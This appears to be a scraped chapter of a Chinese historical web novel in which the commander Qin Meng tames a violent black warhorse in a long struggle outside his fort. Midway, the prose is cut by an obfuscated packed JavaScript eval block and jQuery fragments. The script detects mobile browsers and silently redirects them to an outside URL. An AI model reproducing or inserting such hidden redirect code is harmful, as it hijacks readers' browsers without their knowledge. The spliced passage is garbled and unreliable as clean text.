堡寨人员的安顿工作由老保长和诸葛风负责。
秦猛因此清闲了不少,在军营食堂吃过饭后,便准备开始驯马。
此前**来袭,他得了三匹好马。
第一匹是女真猛安兀鲁思的坐骑,一匹神骏的枣红马,兼具温驯与剽悍,被他定为常用战马;另一匹是烈火马,爆发力强,暂作备用。
最特别的是,第三匹黑马——通体如墨,唯有四蹄环绕一圈纯白毛发,故得名踏雪乌骓。
是图鲁木第一勇士扎哈尔生前的坐骑。
这马性子极烈,刚被俘时就差点踢伤多名戍卒。
这匹乌骓,仅肩高足有八尺开外,体型高大匀称,肌肉线条流畅,通体毛发乌黑油亮,火光下像最上等的锦缎,一眼便知是罕见宝马。
近来经堡内擅养马的堡民小心调教,它总算勉强允许人靠近鞍辔,但要真正驯服,绝非易事。
此刻它正关在特制的坚实马厩里,烦躁地刨着蹄子,鼻孔喷出浓重白气,死死瞪着靠近的人影,野性丝毫未减。
“哼,白吃白喝几天,也该出力了。”
秦猛丝毫不怕,大步流星地走向马厩。
“大人小心,这几日,它又踹伤两个人了!”负责照料马匹的马夫见状,连忙上前提醒。
“无妨!”秦猛目光锐利如鹰,牢牢锁定这匹桀骜的宝马。
踏雪乌骓似乎认出了杀前主的秦猛,见他靠近,顿时变得异常暴躁,嘶鸣一声后,巨大的头颅猛摆。
两只碗口大的前蹄直踢秦猛胸膛,劲风扑面,力道足以碎石。
面对这凶猛攻击,秦猛嘴角勾起一抹冷笑,身形在电光火石间微晃。
他左脚精准向前踏出一小步,避开一只马蹄,同时右肩顺着马身冲势轻巧卸力,马蹄裹挟风声,几乎擦着他肋下的甲叶掠过,险之又险。
趁乌骓踢空重心不稳的瞬间,秦猛左臂闪电般探出,五指如铁钳,一把抓住辔头根部连接嚼铁的口环。
——这正是马匹发力的关键枢纽。
“嘿!”秦猛吐气开声,扑至马儿身侧,右臂同时如铁箍般,猛然勒紧马脖子下方的筋络。
他不是要勒死马,而是用恐怖的臂力压制马的发力点,同时沉下身体,像钉在地上般稳固。
秦猛矮身沉腰,足下生根,硬生生扼住了乌骓的狂暴冲势。
乌骓又怒又怕,奋力挣扎,嘶鸣着猛冲出去。秦猛暗道不好,却不撒手,单脚踩上马镫。
“咔嚓”一声,竟拉断了拴马的木柱子。
乌骓狂性大发,本想撞向周边人群,可不少军汉手持利刃,一转身,拖着断木疯了般冲出军营。
马夫和周围的军卒纷纷四散躲避,下意识抽刀。却见这匹马儿通灵,眼睁睁看着它逃走。
“大人,大人。”
“看什么看?快追!”王善和**最先回过神,立刻招呼亲卫翻身上马,朝着乌骓逃走的方向追去。
“继续训练,小小马儿,奈何我不得。”
本来在训练的乌维,李山等军卒也要来相助。可秦猛低沉有力的吼声响起,便继续操练。
此刻冲出军营的乌骓马仍不消停,在军堡内又蹦又跳,四处乱窜。
秦猛还没完全爬上马背,只能死死抱住马脖子,冲着前方大喊:“让开,马发狂,快让开!”
幸好军堡内的道路狭窄,乌骓速度无法完全展开。
沿途的人听到呼喊后及时避让。
倒没有造成人员受伤,只是免不了一阵鸡飞狗跳。
路上的人都诧异地看着发狂的乌骓和死死抱颈的秦猛,议论纷纷却没人敢上前,也追不上。
随后,“得得得”一阵急促的马蹄声传来,王善率领亲卫队策马狂追而来,紧紧跟在乌骓身后。
很快,乌骓从堡寨前门冲了出去。
一出堡门便甩开四蹄,发狂般狂奔乱跳,还疯狂摆头扭身,甩动大脑袋撞击,想把秦猛从背上甩下去。
以它狂暴的力量,摔碎普通壮汉的骨头易如反掌。可此刻,却感觉脖子上像箍了道烧红的铁索,呼吸困难,怎么挣扎都甩不开秦猛。
“老实点!”
秦猛几次抬腿,想要跨上马背骑乘。却被马儿蹦跳破坏,他不禁恼怒,声音低沉如闷雷。
他手臂上的肌肉贲张如磐石,腰腹核心力量全爆发,死死抱住马儿,任凭乌骓挣扎尥蹶,都无法将他甩开分毫。
一人一马如同在旷野上陷入激烈角力。
堡墙上的戍卒看得屏住了呼吸,见乌骓还在不甘地打响鼻、刨蹄子,也甩不掉秦猛束缚。
“将军威武。”不少人忍不住松了口气,开始鼓劲。
秦猛这家伙也是个另类,何况手中拽着缰绳。
这场角力的结果毫无悬念——乌骓马的暴烈气势,正被秦猛纯粹而霸道的意志强行按捺。
“啊!”秦猛抓住机会,脚下一蹬地,身体如展翅苍鹰般轻盈,踩上侧边的铁蹬,腰腹发力一拧,稳稳坐上马背,动作快得让人眼花缭乱。
乌骓感觉到背上的重量,本能地嘶鸣起来,又是发了狂,猛地弓背跳跃,想把秦猛摔下去。
但秦猛的脚如焊在镫环里,双腿内侧死死夹住马腹,重心牢牢坠下,有规律地拉扯缰绳,单靠精湛骑术和核心力量就能保持平衡。
乌骓连续甩了七八个高难度颠马动作,秦猛的上身却只微微晃动,像狂风巨浪中的礁石,稳如泰山。
但这匹马性格暴虐,极难驯服。
旷野上,乌骓马越跑越远,时而跳跃摇晃,时而人立而起,可秦猛始终挽着缰绳、抱着马颈。屁股像粘在马背上一样,绝不下来。
一刻钟过去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418874|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>乌骓浑身是泥浆草屑,却依旧凶悍,每一次人立、每一次扭转冲撞,都像裹着蛮荒的凶戾。
秦猛也好不到哪里去,浑身泥污,模样狼狈,铠甲下的单衣被汗水浸透紧贴皮肉,几处还被马的硬**磨破皮,每一次发力都牵扯着疼。
但他的眼神却更锐利,隐隐察觉每一次力量对撼、每一次意志碾压,都让他与乌骓间连起一道无形的枷锁,一种微妙的平衡在艰难凝结。
整整过去半个时辰,人马还在较量。
王善,**已经率领队伍赶来,观望未靠近。
秦猛脸色变得难看,胸膛剧烈起伏,嘴里呼出白气。手掌还残留着乌骓鬃**下滚烫的汗意。
他胳膊都发麻,酸胀,混着虎口因力竭微微撕裂的钝痛。
——方才的半个时辰,对他而言如同地狱,**在寨外空地上殊死较量,还没有驯服此马。
不过,乌骓挣扎的幅度越来越小,眼中的敌意渐变成惊惧,鼻息也带上了无可奈何的疲惫。
这匹烈马纯粹的野性力量,仿佛顺着接触导入秦猛的四肢百骸,让他的血液也随之沸腾燃烧。
“服不服?”秦猛凑到乌骓耳边喝斥着,双腿如铁箍嵌进乌骓绷紧的腹侧,臂膀肌肉虬结贲张。手中的缰绳被拉得笔直死死扣住马儿的冲势。
“嘶——呜噜噜!”
乌骓最后一次狂甩头颅,想把秦猛像落叶般甩下,马嘴里喷着带腥气的白沫,显然已到极限。
秦猛猛地一勒嚼铁,喉咙里爆出野兽般的低吼,力量瞬间叠加至巅峰,人与马的交锋抵达无声的临界点。
终于,乌骓心中抗拒的桎梏彻底断裂。
前一刻还在挣扎的它,浑身紧绷的肌肉骤然松懈,四蹄稳稳踏在泥地上,暴戾的气息如潮水般退去。
它缓缓低下头,顺从地打了个响鼻,气流拂过地上的枯草,随后马头侧偏,湿漉漉的眼睛回望秦猛,瞳孔里的火焰已熄,只剩一种奇异的光。
——不是屈服的灰暗,而是桀骜野马寻到雷霆之主的认可。
成了!
秦猛心中的巨石落地,紧绷的嘴角终于松开,泄出压抑已久的气息,终于是驯服了这匹马。
畅快的疲惫从四肢深处席卷而来,他抬手用被缰绳勒出红痕的手背,抹掉糊住眉眼的汗泥。
想起方才乌骓喷着带血沫的白气、肌肉如钢缆般紧绷颤抖的模样,秦猛心中生出一股豪情。
方才人与马的意志在旷野上空对撞,直到他一声“吁——”
如重锤砸碎乌骓最后的防线,一切才尘埃落定。
此刻乌骓安静地沉重喘息,头颅微垂,不再抗拒发狂,只是漆黑的双眼仍透过汗鬃回望,眼底桀骜未消,多了丝对绝对力量的认可。
——又仿佛是对“强敌”的惺惺相惜。